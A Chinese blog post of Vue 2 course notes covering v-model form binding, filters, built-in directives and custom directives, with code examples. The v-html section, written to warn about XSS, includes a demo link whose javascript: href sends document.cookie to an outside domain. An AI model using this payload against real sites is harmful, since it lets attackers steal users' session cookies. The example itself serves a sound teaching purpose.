跟着尚硅谷学vue2—基础篇4.0

原创 已于 2024-11-13 00:53:37 修改 · 1.1k 阅读 · 21 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#vue.js #javascript #前端

于 2024-11-13 00:49:57 首次发布

11. 收集表单数据

收集表单数据：

  1. 若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。

  2. 若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。

  3. 若：<input type="checkbox"/>

    1. 没有配置 input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
    2. 配置 input的value属性:
      1. v-model的初始值是 非数组 ，那么收集的就是checked（勾选 or 未勾选，是布尔值）
      2. v-model的初始值是 数组 ，那么收集的的就是value组成的数组

  4. 备注：v-model的三个修饰符：

    1. lazy：失去焦点再收集数据
    2. number：输入字符串转为有效的数字
    3. trim：输入首尾空格过滤
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<form @submit.prevent="demo">
			账号：<input type="text" v-model.trim="userInfo.account"> <br /><br />
			密码：<input type="password" v-model="userInfo.password"> <br /><br />
			年龄：<input type="number" v-model.number="userInfo.age"> <br /><br />
			性别：
			男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
			女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br /><br />
			爱好：
			学习<input type="checkbox" v-model="userInfo.hobby" value="study">
			打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
			吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
			<br /><br />
			所属校区
			<select v-model="userInfo.city">
				<option value="">请选择校区</option>
				<option value="beijing">北京</option>
				<option value="shanghai">上海</option>
				<option value="shenzhen">深圳</option>
				<option value="wuhan">武汉</option>
			</select>
			<br /><br />
			其他信息：
			<textarea v-model.lazy="userInfo.other"></textarea> <br /><br />
			<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
			<button>提交</button>
		</form>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	new Vue({
		el: '#root',
		data: {
			userInfo: {
				account: '',
				password: '',
				age: 18,
				sex: 'female',
				hobby: [],
				city: 'beijing',
				other: '',
				agree: ''
			}
		},
		methods: {
			demo() {
				console.log(JSON.stringify(this.userInfo))
			}
		}
	})
</script>

12. 过滤器

过滤器：

  1. 定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

  2. 语法：

    1. 注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
    2. 使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”

  3. 备注：

    1. 过滤器也可以接收额外参数、多个过滤器也可以串联
    2. 并没有改变原本的数据, 是产生新的对应的数据

  4. 例子中过滤器实现的逻辑：

    1. 首先捕获到红色框里的数据，随后把time作为参数传给timeFormater函数，然后就拿到了函数的返回值，并把红色框的数据给替换掉

      1

      2

  5. 例子中过滤器实现（传参的逻辑）—如果有两个过滤器是如何工作的

    1. 首先 time 回显传给timeFormater函数，然后拿到函数的返回值，再传给 mySlice 函数，最后展示mySlice的返回值

      mySlice

    2. 注意：time不会直接传给mySlice，是一层一层往下传递的。

      39

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>显示格式化后的时间</h2>
		<!-- 计算属性实现 -->
		<h3>现在是：{{fmtTime}}</h3>
		<!-- methods实现 -->
		<h3>现在是：{{getFmtTime()}}</h3>
		<!-- 过滤器实现 -->
		<h3>现在是：{{time | timeFormater}}</h3>
		<!-- 过滤器实现（传参） -->
		<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
		<h3 :x="msg | mySlice">尚硅谷</h3>
	</div>

	<div id="root2">
		<h2>{{msg | mySlice}}</h2>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	//全局过滤器
	Vue.filter('mySlice', function (value) {
		return value.slice(0, 4)
	})

	new Vue({
		el: '#root',
		data: {
			time: 1621561377603, //时间戳
			msg: '你好，尚硅谷'
		},
		computed: {
			fmtTime() {
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			}
		},
		methods: {
			getFmtTime() {
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			}
		},
		//局部过滤器
		filters: {
			timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
				// console.log('@',value)
				return dayjs(value).format(str)
			}
		}
	})

	new Vue({
		el: '#root2',
		data: {
			msg: 'hello,atguigu!'
		}
	})
</script>

13. 内置指令

1. 复习
我们学过的指令：

  1. v-bind : 单向绑定解析表达式, 可简写为 :xxx

  2. v-model : 双向数据绑定

  3. v-for : 遍历数组/对象/字符串

  4. v-on : 绑定事件监听, 可简写为@

  5. v-if : 条件渲染（动态控制节点是否存存在）

  6. v-else : 条件渲染（动态控制节点是否存存在）

  7. v-show : 条件渲染 (动态控制节点是否展示)

2. 知新
1. v-text_指令

  1. 作用：向其所在的节点中渲染文本内容。

  2. 与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

  3. v-text不会解析标签

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好，{{name}}</div>
		<div v-text="name"></div>
		<div v-text="str"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			str: '<h3>你好啊！</h3>'
		}
	})
</script>
2. v-html_指令

  1. 作用：向指定节点中渲染包含html结构的内容。

  2. 与插值语法的区别：

    1. v-html会替换掉节点中所有的内容，{{xx}}则不会。
    2. v-html可以识别html结构。

  3. 严重注意：v-html有安全性问题！！！！

    1. 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
    2. 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
    3. document.cookie获取网站的cookie
    4. cookie的工作原理

    65

    66

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好，{{name}}</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			str: '<h3>你好啊！</h3>',
			str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
		}
	})
</script>
3. v-cloak_指令

v-cloak指令（没有值）：

  1. 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}（未经解析的模板跑到页面中）的问题。
  3. http://localhost:8080/resource/5s/vue.js 视频老师自己写的服务器，达到vue延迟5s载入的效果
  4. js阻塞：详情只是跳转 → 浏览器线程阻塞和无阻塞加载脚本的理解 - SegmentFault 思否
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2 v-cloak>{{name}}</h2>
	</div>
	<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>

<script type="text/javascript">
	console.log(1)
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷'
		}
	})
</script>
4. v-once_指令

v-once指令：

  1. v-once所在节点在初次动态渲染后，就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
  3. 常用于场景：原始值不变，对比值，根据逻辑要求而变化
<head>
	<meta charset="UTF-8" />
	<title>v-once指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2 v-once>初始化的n值是:{{n}}</h2>
		<h2>当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			n: 1
		}
	})
</script>
5. v-pre_指令

v-pre指令：

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
<head>
	<meta charset="UTF-8" />
	<title>v-pre指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 
			v-pre指令：
					1.跳过其所在节点的编译过程。
					2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
		-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2 v-pre>Vue其实很简单</h2>
		<h2>当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			n: 1
		}
	})
</script>

14. 自定义指令 自定义指令

1. 需求

  1. 需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

  2. 需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

1. 自定义指令—函数式

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

  1. 验证big是不是真实dom的方法

    通过打印a，来得到此目的

    1. 方法一：使用console.dir()

      72

    2. 方法二：console.log()

      73

    有上述证明中可以可以得出a是一个真是的dom元素，结合文档的描述规范将a改成elemnet(元素)

  2. 打印b发现b是一个对象

    74

    而在文档规范中实参b写为binding(绑定对象)

  3. big函数何时会被调用？

    1. 指令与元素成功绑定时（一上来）。
    2. 指令所在的模板被重新解析时。

75

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>自定义指令</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是：<span v-text="n"></span> </h2>
		<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			n: 1
		},
		directives: {
            //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
            big(element,binding){
                console.log('big')
				element.innerText = binding.value * 10
            },
        }
	})
</script>

</html>
2. 自定义指令—对象式

需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

为了解决我们所书写的数据中出现的初始页面未获取焦点，但是点击增加按钮时会获取焦点的问题，所以我们先用原生 js 来实现一下

1. 回顾一个DOM操作
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
		<style>
			.demo{
				background-color: orange;
			}
		</style>
	</head>
	<body>
		<button id="btn">点我创建一个输入框</button>
		
		<script type="text/javascript" >
			const btn = document.getElementById('btn')
			btn.onclick = ()=>{
				const input = document.createElement('input')

				input.className = 'demo'
				input.value = 99
				input.onclick = ()=>{alert(1)}
				
				document.body.appendChild(input)

				input.focus()
				// input.parentElement.style.backgroundColor = 'skyblue'
				console.log(input.parentElement)
				
			}
		</script>
	</body>
</html>

通过js的实现效果我们可以得出，代码是没问题的，只不过是执行的时机有问题，所以在此我们就不能使用函数形式了，因为函数形式时无法控制先后顺序的，他是 一上来就调用了 。这个时候我们就需要用到obj格式，来控制他的先后顺序

2. 使用对象实现
1. 配置对象中的函数

配置对象中常用的3个回调：

  1. bind：指令与元素成功绑定时调用。
  2. inserted：指令所在元素被插入页面时调用。
  3. update：指令所在模板结构被重新解析时调用。

71

2. 添加函数的参数

70

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是：<span v-text="n"></span> </h2>
		<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		<hr />
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			n: 1
		},
        directives: {
            //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
            big(element,binding){
                console.log('big')
				element.innerText = binding.value * 10
            },
            fbind: {
				//指令与元素成功绑定时（一上来）
				bind(element, binding) {
					element.value = binding.value
				},
				//指令所在元素被插入页面时
				inserted(element, binding) {
					element.focus()
				},
				//指令所在的模板被重新解析时
				update(element, binding) {
					element.value = binding.value
				}
			}
        }
	})
</script>
3.自定义指令—总结
2. 自定义指令总结：

  1. 定义语法：

    1. 局部指令：

      new Vue({	
    directives:{指令名:配置对象} 
}) 
或
new Vue({
    directives{指令名:回调函数}
})

      1. 第一种：

        69

      2. 第二种：

        68

        简写成：

        67

    2. 全局指令：

      Vue.directive(指令名,配置对象) 
或  
Vue.directive(指令名,回调函数)

      63

  2. 配置对象中常用的3个回调：

    1. bind：指令与元素成功绑定时调用。
    2. inserted：指令所在元素被插入页面时调用。
    3. update：指令所在模板结构被重新解析时调用。
    4. 其他钩子函数在这里 → 钩子函数，参数在这里→ 钩子函数参数

  3. 备注：

    1. 指令定义时不加v-，但使用时要加v-；

      61

    2. 指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

      60

    3. 所有指令相关的this，不指向vm，而是指向window

      64

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>自定义指令</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是：<span v-text="n"></span> </h2>
		<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
		<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		<hr />
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	/* 定义全局指令 */
	
	// 对象形式
	/* Vue.directive('fbind',{
		//指令与元素成功绑定时（一上来）
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	}) */

	// 函数形式
	/* Vue.directive('bind',function(element,binding){
		console.log('big', this) //注意此处的this是window
		// console.log('big')
		element.innerText = binding.value * 10
	}) */

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			n: 1
		},
		directives: {
			//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
			/* 'big-number'(element,binding){
				// console.log('big')
				element.innerText = binding.value * 10
			}, */
			big(element, binding) {
				console.log('big', this) //注意此处的this是window
				// console.log('big')
				element.innerText = binding.value * 10
			},
			fbind: {
				//指令与元素成功绑定时（一上来）
				bind(element, binding) {
					element.value = binding.value
				},
				//指令所在元素被插入页面时
				inserted(element, binding) {
					element.focus()
				},
				//指令所在的模板被重新解析时
				update(element, binding) {
					element.value = binding.value
				}
			}
		}
	})
</script>

</html>
哲子君
关注
尚硅谷Vue--Markdown笔记
薛定谔的猫
04-08 774
组件化编码流程：(1).拆分静态组件：组件要按照功能点拆分，命名不要与html元素冲突。(2).实现动态组件：考虑好数据的存放位置，数据是一个组件在用，还是一些组件在用：1).一个组件在用：放在组件自身即可。2). 一些组件在用：放在他们共同的父组件上（状态提升）。(3).实现交互：从绑定事件开始。props适用于：(1).父组件 ==> 子组件 通信(2).子组件 ==> 父组件 通信（要求父先给子一个函数）
尚硅谷Vue3笔记
qq_54358705的博客
03-10 2255
vue3
Vue3（学自尚硅谷）
m0_71774042的博客
04-05 1332
vue3的一些不同，侧重与vue2的不同，要有点vue2知识哦！
尚硅谷vue笔记 详细讲解版（尚硅谷 天禹老师）
abjtxf的博客
03-01 9989
详细版的意思就是把老师课上讲的内容都结合自己的思考记录了下来，很适合只会应用而不知原理的同学参考
尚硅谷 Vue2.0 + Vue3.0 入门到精通教程学习笔记 （一）
weixin_44566194的博客
12-08 3546
本文为总结尚硅谷Vue2.0+Vue3.0 的学习笔记系列的第一章——Vue的核心，包含Vue简介、模板语法、数据绑定、MVVM模型、事件处理，计算属性与监视、class与style绑定、列表渲染、过滤器、内置指定和自定义指令以及Vue生命周期等知识点
精选资源
尚硅谷_Vue全家桶_基于VUE_vue；尚硅谷_vue_
10-04
"尚硅谷_Vue全家桶.docx"可能是一份详细的教学文档，涵盖了Vue.js的基础知识，如模板语法、组件、指令、计算属性和侦听器，以及更高级的主题，如Vuex的状态管理、Vue Router的路由配置和Vue CLI的使用。这份文档可能...
精选资源
尚硅谷_Vue全家桶,尚硅谷vue全家桶word文档
09-10
从基础到进阶，通过实例和项目练习巩固所学，最终能够熟练运用Vue.js进行高效开发。尚硅谷的这份资料，无疑为Vue学习者提供了一条系统、全面的学习路径，无论你是初学者还是有一定经验的开发者，都能从中受益。
尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通
07-08
尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通
尚硅谷vue3.0笔记
05-30
尚硅谷vue3.0笔记
精选资源
最新尚硅谷vue系列笔记
02-11
8. **学习资源**："尚硅谷vue系列笔记"可能包含的是针对Vue.js的学习资料，涵盖基础到高级的内容，帮助开发者深入理解Vue及其应用。`vue-learning-master.zip`和`vue-advance-master.zip`可能是不同阶段的学习资源，...
Vue学习第一天
那就这样吧
01-31 550
Vue学习
尚硅谷vue全家桶(上）
weixin_57780589的博客
03-17 1130
需要提前会的东西中文文档链接点下面vue.js要会查文档用API。
尚硅谷vue全家桶（vue2+vue3）笔记
hyx_1225的博客
07-26 1963
对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。何时会被调用？指令与元素成功绑定时（一开始）指令所在的模板被重新解析时（注意不是依赖数据改变时，区分与computed）【钩子函数参数】el：指令所绑定的元素，可以用来直接操作 DOM。binding：一个对象，包含以下 property：name：指令名，不包括v-前缀。value中，绑定值为2。oldValue：指令绑定的前一个值，仅在update和钩子中可用。无论值是否改变都可用。expression。
初识Vue
李公子的博客
07-25 441
1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象 2.root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法 3.root容器里的代码被称为【Vue模板】 4.Vue实例和容器是一一对应的 5.真实开发中只有一个Vue实例，并且会配合着组件一起使用 6.{{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性 7.一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新 <!DOCTYPE html> &
Vue全家桶
caronil的博客
03-27 2073
Vue 技术栈(全家桶) 文章目录Vue 技术栈(全家桶)第 1 章：Vue 核心1.1. Vue 简介1.1.1. 官网1.1.2. 介绍与描述1.1.3. Vue 的特点1.1.4. 与其它 JS 框架的关联1.1.5. Vue 周边库1.2. 初识 Vue1.3. 模板语法1.3.1. 效果1.3.2. 模板的理解1.3.3. 插值语法1.3.4. 指令语法1.4 数据绑定1.4.1. 效果1.4.2. 单向数据绑定1.4.3. 双向数据绑定1.5. MVVM 模型1.6. 事件处理1.6.1. 效果
vue 源码分析(尚硅谷视频学习笔记)
canxuezhang的博客
03-03 3544
热门框架Vue学习
Vue二级弹窗关闭错误解决指南
无忧花开的博客
12-09 1158
Vue.js项目中二级弹窗关闭时出现"Failed to execute insertBefore"错误，主要源于DOM操作冲突、过渡动画中断或异步操作未完成等问题。解决方案包括：使用$nextTick确保DOM操作时机正确、处理过渡动画生命周期、管理动态组件卸载顺序、清理异步操作等。建议采用Portal技术、状态管理集成等替代方案，并通过代码审查、测试验证来预防问题。该错误本质是DOM操作时序问题，合理控制Vue更新机制和异步操作可有效解决。
Vue 组件解耦实践：用回调函数模式替代枚举类型传递
最新发布
鹏北海的博客
12-12 372
本文通过一个登录模块重构案例，介绍了使用回调函数模式解耦Vue组件的方法。原有实现中父组件依赖子组件的枚举类型来判断操作来源，导致代码耦合度高、扩展性差。重构后子组件将后续操作封装为回调函数保存，父组件只需在协议确认后通知子组件执行回调，无需了解具体操作细节。这种模式降低了组件耦合度，提高了代码可维护性和扩展性，适用于异步确认流程、多入口单出口等场景。文章还对比了两种方案的优劣，并强调了组件职责单一的重要性。
高德API精讲系列——vue+高德API搭建前端Echarts图表页面
weixin_66547608的博客
12-10 100
本文介绍了在Vue项目中使用Echarts 5.x开发地理地形图的核心要点：1. 必须准备省市县级别的geo-json文件（推荐从阿里DataV获取）2. 区分注册地图、散点坐标和主题的API使用方式3. 提供了Vue3最小实现示例和常见问题解决方案4. 包含下钻功能实现思路和批量注册脚本5. 强调map名称一致性、文件分离原则和打包注意事项6. 展示了信阳市人口密度图的完整实现代码和效果展示。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值